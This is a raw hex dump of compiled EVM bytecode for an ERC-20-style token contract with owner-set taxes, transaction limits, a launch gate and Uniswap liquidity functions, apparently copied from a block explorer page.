f4e6f2045544820696e2063612f6d7367000000000000000000000000000000005f82015250565b5f613ff46010836131bb565b9150613fff82613fc0565b602082019050919050565b5f6020820190508181035f83015261402181613fe8565b9050919050565b7f4e6f20746f6b656e7320696e20636100000000000000000000000000000000005f82015250565b5f61405c600f836131bb565b915061406782614028565b602082019050919050565b5f6020820190508181035f83015261408981614050565b9050919050565b5f8151905061409e8161328f565b92915050565b5f602082840312156140b9576140b861325b565b5b5f6140c684828501614090565b91505092915050565b5f6040820190506140e25f8301856135c9565b6140ef60208301846135c9565b9392505050565b5f81519050919050565b5f81905092915050565b5f614114826140f6565b61411e8185614100565b935061412e8185602086016131cb565b80840191505092915050565b5f614145828461410a565b915081905092915050565b7f4661696c656420616464696e67206c70000000000000000000000000000000005f82015250565b5f6141846010836131bb565b915061418f82614150565b602082019050919050565b5f6020820190508181035f8301526141b181614178565b9050919050565b5f819050919050565b5f6141db6141d66141d18461325f565b6141b8565b61325f565b9050919050565b5f6141ec826141c1565b9050919050565b5f6141fd826141e2565b9050919050565b61420d816141f3565b82525050565b5f6020820190506142265f830184614204565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c65740000005f82015250565b5f614260601d836131bb565b915061426b8261422c565b602082019050919050565b5f6020820190508181035f83015261428d81614254565b9050919050565b7f4d455620626c6f636b65640000000000000000000000000000000000000000005f82015250565b5f6142c8600b836131bb565b91506142d382614294565b602082019050919050565b5f6020820190508181035f8301526142f5816142bc565b9050919050565b7f54582065786365656473206c696d6974730000000000000000000000000000005f82015250565b5f6143306011836131bb565b915061433b826142fc565b602082019050919050565b5f6020820190508181035f83015261435d81614324565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f6143e16143dc6143d7846143be565b6141b8565b6132b9565b9050919050565b6143f1816143c7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6144298161327e565b82525050565b5f61443a8383614420565b60208301905092915050565b5f602082019050919050565b5f61445c826143f7565b6144668185614401565b935061447183614411565b805f5b838110156144a1578151614488888261442f565b975061449383614446565b925050600181019050614474565b5085935050505092915050565b5f60a0820190506144c15f83018861335d565b6144ce60208301876143e8565b81810360408301526144e08186614452565b90506144ef60608301856135c9565b6144fc608083018461335d565b9695505050505050565b5f60c0820190506145195f8301896135c9565b614526602083018861335d565b61453360408301876143e8565b61454060608301866143e8565b61454d60808301856135c9565b61455a60a083018461335d565b979650505050505050565b5f81519050614573816132c2565b92915050565b5f805f606084860312156145905761458f61325b565b5b5f61459d86828701614565565b93505060206145ae86828701614565565b92505060406145bf86828701614565565b915050925092509256fe42696e616e6365436f696e626173654b72616b656e4b75636f696e4279626974583639a26469706673582212205f6b8a53d2ed9af2c8c2a3b39d217f46486b19a809bb8b5da39e685e5ad9337064736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101ba575f3560e01c80635a90a49e116100eb578063a6097b0a11610089578063dd62ed3e11610063578063dd62ed3e14610601578063e8078d941461063d578063f2fde38b14610647578063f8b45b051461066f576101c1565b8063a6097b0a14610573578063a9059cbb1461059b578063c3f70b52146105d7576101c1565b806375f0a874116100c557806375f0a874146104b95780638d3e6e40146104e35780638da5cb5b1461051f57806395d89b4114610549576101c1565b80635a90a49e1461042b57806370a0823114610467578063715018a6146104a3576101c1565b8063313ce56711610158578063470624021161013257806347062402146103875780634d4ce935146103b15780634fcd2446146103db57806357ff135a14610403576101c1565b8063313ce5671461030b578063368f48001461033557806346b898341461035d576101c1565b806323b872dd1161019457806323b872dd146102555780632851a5cf146102915780632b14ca56146102b95780632fb528ba146102e3576101c1565b806306fdde03146101c5578063095ea7b3146101ef57806318160ddd1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d9610699565b6040516101e6919061323b565b60405180910390f35b3480156101fa575f80fd5b50610215600480360381019061021091906132ec565b6106b9565b6040516102229190613344565b60405180910390f35b348015610236575f80fd5b5061023f6107a6565b60405161024c919061336c565b60405180910390f35b348015610260575f80fd5b5061027b60048036038101906102769190613385565b6107c9565b6040516102889190613344565b60405180910390f35b34801561029c575f80fd5b506102b760048036038101906102b291906133d5565b6109c6565b005b3480156102c4575f80fd5b506102cd610bca565b6040516102da919061341b565b60405180910390f35b3480156102ee575f80fd5b5061030960048036038101906103049190613488565b610be0565b005b348015610316575f80fd5b5061031f610dbf565b60405161032c919061341b565b60405180910390f35b348015610340575f80fd5b5061035b600480360381019061035691906134fd565b610dc7565b005b348015610368575f80fd5b50610371610f82565b60405161037e919061336c565b60405180910390f35b348015610392575f80fd5b5061039b610f8b565b6040516103a8919061341b565b60405180910390f35b3480156103bc575f80fd5b506103c5610fa0565b6040516103d2919061336c565b60405180910390f35b3480156103e6575f80fd5b5061040160048036038101906103fc919061353b565b610fa9565b005b34801561040e575f80fd5b5061042960048036038101906104249190613579565b6110c1565b005b348015610436575f80fd5b50610451600480360381019061044c91906133d5565b611294565b60405161045e9190613344565b60405180910390f35b348015610472575f80fd5b5061048d600480360381019061048891906133d5565b6112e6565b60405161049a919061336c565b60405180910390f35b3480156104ae575f80fd5b506104b761132c565b005b3480156104c4575f80fd5b506104cd611431565b6040516104da91906135d8565b60405180910390f35b3480156104ee575f80fd5b50610509600480360381019061050491906133d5565b611458565b6040516105169190613344565b60405180910390f35b34801561052a575f80fd5b506105336114aa565b60405161054091906135d8565b60405180910390f35b348015610554575f80fd5b5061055d6114d1565b60405161056a919061323b565b60405180910390f35b34801561057e575f80fd5b506105996004803603810190610594919061362a565b61150e565b005b3480156105a6575f80fd5b506105c160048036038101906105bc91906132ec565b61174c565b6040516105ce9190613344565b60405180910390f35b3480156105e2575f80fd5b506105eb6117a8565b6040516105f8919061336c565b60405180910390f35b34801561060c575f80fd5b506106276004803603810190610622919061368e565b6117b1565b604051610634919061336c565b60405180910390f35b610645611833565b005b348015610652575f80fd5b5061066d60048036038101906106689190613707565b611efb565b005b34801561067a575f80fd5b50610683612001565b604051610690919061336c565b60405180910390f35b60606040518060600160405280602381526020016145ca60239139905090565b5f81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610794919061336c565b60405180910390a36001905092915050565b5f6009600a6107b5919061388e565b63191338506107c491906138d8565b905090565b5f6107d38461200a565b610812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080990613963565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146109b25781600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109359190613981565b600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6109bd8484846120dc565b90509392505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a906139fe565b60405180910390fd5b60105f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490613a66565b60405180910390fd5b806002806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600260019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c64906139fe565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc690613ace565b60405180910390fd5b5f60648360ff1660095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d1e91906138d8565b610d289190613b19565b90506009600a610d38919061388e565b811115610d4957610d488161264e565b5b8115610da0575f4790505f8111610d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8c90613b93565b60405180910390fd5b610d9e47612861565b505b505f601160016101000a81548160ff0219169083151502179055505050565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b906139fe565b60405180910390fd5b5f60016103e88461ffff166009600a610e6d919061388e565b6319133850610e7c91906138d8565b610e8691906138d8565b610e909190613b19565b610e9a9190613bb1565b9050600454811015610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890613c2e565b60405180910390fd5b806004819055505f60016103e88461ffff166009600a610f01919061388e565b6319133850610f1091906138d8565b610f1a91906138d8565b610f249190613b19565b610f2e9190613bb1565b9050600554811015610f75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6c90613c96565b60405180910390fd5b8060058190555050505050565b5f600654905090565b5f60025f9054906101000a900460ff16905090565b5f600754905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906139fe565b60405180910390fd5b606381836110449190613cb4565b60ff161115611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f90613d32565b60405180910390fd5b8160025f6101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611145906139fe565b60405180910390fd5b80806111575750815b156111e75760105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156111e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dd90613d9a565b60405180910390fd5b5b81600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906139fe565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161142791906135d8565b60405180910390a1565b5f60028054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2443455800000000000000000000000000000000000000000000000000000000815250905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461159b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611592906139fe565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6115b7919061388e565b63191338506115c691906138d8565b6115d091906138d8565b6115da9190613b19565b6006819055508063ffffffff168263ffffffff166009600a6115fc919061388e565b631913385061160b91906138d8565b61161591906138d8565b61161f9190613b19565b600781905550600654600754101561166c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166390613e02565b60405180910390fd5b620186a06009600a61167e919061388e565b631913385061168d91906138d8565b6116979190613b19565b600754116116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d190613e6a565b60405180910390fd5b60646009600a6116ea919061388e565b63191338506116f991906138d8565b6117039190613b19565b60075410611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613ed2565b60405180910390fd5b50505050565b5f6117563361200a565b611795576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178c90613963565b60405180910390fd5b6117a03384846120dc565b905092915050565b5f600454905090565b5f600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b7906139fe565b60405180910390fd5b6001601160016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff16600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461196a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196190613f3a565b60405180910390fd5b60115f9054906101000a900460ff16156119b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b090613fa2565b60405180910390fd5b5f3411806119c657505f47115b611a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fc9061400a565b60405180910390fd5b5f60095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205411611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b90614072565b60405180910390fd5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b1291906140a4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bbc91906140a4565b6040518363ffffffff1660e01b8152600401611bd99291906140cf565b6020604051808303815f875af1158015611bf5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c1991906140a4565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ca060095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054475f6128c8565b60085460095f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d0f9190613981565b925050819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611ddf919061413a565b5f604051808303815f865af19150503d805f8114611e18576040519150601f19603f3d011682016040523d82523d5f602084013e611e1d565b606091505b5050905080611e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e589061419a565b60405180910390fd5b8060105f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550611ede6129af565b505f601160016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7f906139fe565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611ff69190614213565b60405180910390a150565b5f600554905090565b5f805f905060115f9054906101000a900460ff161561202c57600190506120d3565b600b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120c85750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156120d257600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361214b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214290614276565b60405180910390fd5b60115f9054906101000a900460ff1661223a57600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156121fa5750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b612239576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223090613963565b60405180910390fd5b5b601160019054906101000a900460ff1615801561229d575060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156122ab576122aa612a96565b5b600154431080156122be57506003544310155b8015612310575060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612384573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237a906142de565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123ec57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561244357505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561249357612453848484612bac565b612492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248990614346565b60405180910390fd5b5b5f61249f858585612d34565b90505f81846124ae9190613981565b90508360095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124f99190613981565b60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160085f82825461254b9190613bb1565b925050819055508060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461259b9190613bb1565b60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612639919061336c565b60405180910390a36001925050509392505050565b61265781612fcf565b5f600267ffffffffffffffff81111561267357612672614364565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030815f815181106126b8576126b7614391565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061278091906140a4565b8160018151811061279457612793614391565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016128309594939291906144ae565b5f604051808303815f87803b158015612847575f80fd5b505af1158015612859573d5f803e3d5ffd5b505050505050565b60028054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156128c4573d5f803e3d5ffd5b5050565b5f600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081156128f7575f90505b61290084612fcf565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198430875f8087426040518863ffffffff1660e01b815260040161296596959493929190614506565b60606040518083038185885af1158015612981573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129a69190614579565b50505050505050565b606460026009600a6129c1919061388e565b63191338506129d091906138d8565b6129da91906138d8565b6129e49190613b19565b600481905550606460026009600a6129fc919061388e565b6319133850612a0b91906138d8565b612a1591906138d8565b612a1f9190613b19565b600581905550600160115f6101000a81548160ff021916908315150217905550436003819055505f60179054906101000a900460ff1660ff165f60169054906101000a900460ff1660ff16600354600154612a7a9190613bb1565b612a849190613bb1565b612a8e9190613bb1565b600181905550565b6001601160016101000a81548160ff0219169083151502179055505f60085490506006548110158015612ad4575060115f9054906101000a900460ff165b15612b8f576007548110612ae85760075490505b5f8190506009600a612afa919061388e565b811115612b76578160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612b4d9190613bb1565b92505081905550612b5d8161264e565b8160085f828254612b6e9190613981565b925050819055505b5f4790505f811115612b8c57612b8b81612861565b5b50505b505f601160016101000a81548160ff021916908315150217905550565b5f806001905060115f9054906101000a900460ff168015612c145750600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612c675750600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612d2957600454831115612c7e575f9050612d28565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612d1e57506005548360095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612d1c9190613bb1565b115b15612d27575f90505b5b5b809150509392505050565b5f8060115f9054906101000a900460ff161580612d975750600b5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612de85750600b5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612df5575f9050612fc4565b60105f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f46575f60179054906101000a900460ff1660ff165f60169054906101000a900460ff1660ff16600354612e759190613bb1565b612e7f9190613bb1565b4310612eb557606460025f9054906101000a900460ff1660ff1684612ea491906138d8565b612eae9190613b19565b9050612f41565b5f60169054906101000a900460ff1660ff16600354612ed49190613bb1565b4310612f0a5760645f60159054906101000a900460ff1660ff1684612ef991906138d8565b612f039190613b19565b9050612f40565b6003544310612f3f5760645f60149054906101000a900460ff1660ff1684612f3291906138d8565b612f3c9190613b19565b90505b5b5b612fc3565b60105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612fc2576064600260019054906101000a900460ff1660ff1684612fb591906138d8565b612fbf9190613b19565b90505b5b5b809150509392505050565b80600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156131ae577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516131a5919061336c565b60405180910390a35b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156131e85780820151818401526020810190506131cd565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61320d826131b1565b61321781856131bb565b93506132278185602086016131cb565b613230816131f3565b840191505092915050565b5f6020820190508181035f8301526132538184613203565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6132888261325f565b9050919050565b6132988161327e565b81146132a2575f80fd5b50565b5f813590506132b38161328f565b92915050565b5f819050919050565b6132cb816132b9565b81146132d5575f80fd5b50565b5f813590506132e6816132c2565b92915050565b5f80604083850312156133025761330161325b565b5b5f61330f858286016132a5565b9250506020613320858286016132d8565b9150509250929050565b5f8115159050919050565b61333e8161332a565b82525050565b5f6020820190506133575f830184613335565b92915050565b613366816132b9565b82525050565b5f60208201905061337f5f83018461335d565b92915050565b5f805f6060848603121561339c5761339b61325b565b5b5f6133a9868287016132a5565b93505060206133ba868287016132a5565b92505060406133cb868287016132d8565b9150509250925092565b5f602082840312156133ea576133e961325b565b5b5f6133f7848285016132a5565b91505092915050565b5f60ff82169050919050565b61341581613400565b82525050565b5f60208201905061342e5f83018461340c565b92915050565b61343d81613400565b8114613447575f80fd5b50565b5f8135905061345881613434565b92915050565b6134678161332a565b8114613471575f80fd5b50565b5f813590506134828161345e565b92915050565b5f806040838503121561349e5761349d61325b565b5b5f6134ab8582860161344a565b92505060206134bc85828601613474565b9150509250929050565b5f61ffff82169050919050565b6134dc816134c6565b81146134e6575f80fd5b50565b5f813590506134f7816134d3565b92915050565b5f80604083850312156135135761351261325b565b5b5f613520858286016134e9565b9250506020613531858286016134e9565b9150509250929050565b5f80604083850312156135515761355061325b565b5b5f61355e8582860161344a565b925050602061356f8582860161344a565b9150509250929050565b5f805f606084860312156135905761358f61325b565b5b5f61359d868287016132a5565b93505060206135ae86828701613474565b92505060406135bf86828701613474565b9150509250925092565b6135d28161327e565b82525050565b5f6020820190506135eb5f8301846135c9565b92915050565b5f63ffffffff82169050919050565b613609816135f1565b8114613613575f80fd5b50565b5f8135905061362481613600565b92915050565b5f805f80608085870312156136425761364161325b565b5b5f61364f87828801613616565b945050602061366087828801613616565b935050604061367187828801613616565b925050606061368287828801613616565b91505092959194509250565b5f80604083850312156136a4576136a361325b565b5b5f6136b1858286016132a5565b92505060206136c2858286016132a5565b9150509250929050565b5f6136d68261325f565b9050919050565b6136e6816136cc565b81146136f0575f80fd5b50565b5f81359050613701816136dd565b92915050565b5f6020828403121561371c5761371b61325b565b5b5f613729848285016136f3565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156137b4578086048111156137905761378f613732565b5b600185161561379f5780820291505b80810290506137ad8561375f565b9450613774565b94509492505050565b5f826137cc5760019050613887565b816137d9575f9050613887565b81600181146137ef57600281146137f957613828565b6001915050613887565b60ff84111561380b5761380a613732565b5b8360020a91508482111561382257613821613732565b5b50613887565b5060208310610133831016604e8410600b841016171561385d5782820a90508381111561385857613857613732565b5b613887565b61386a848484600161376b565b9250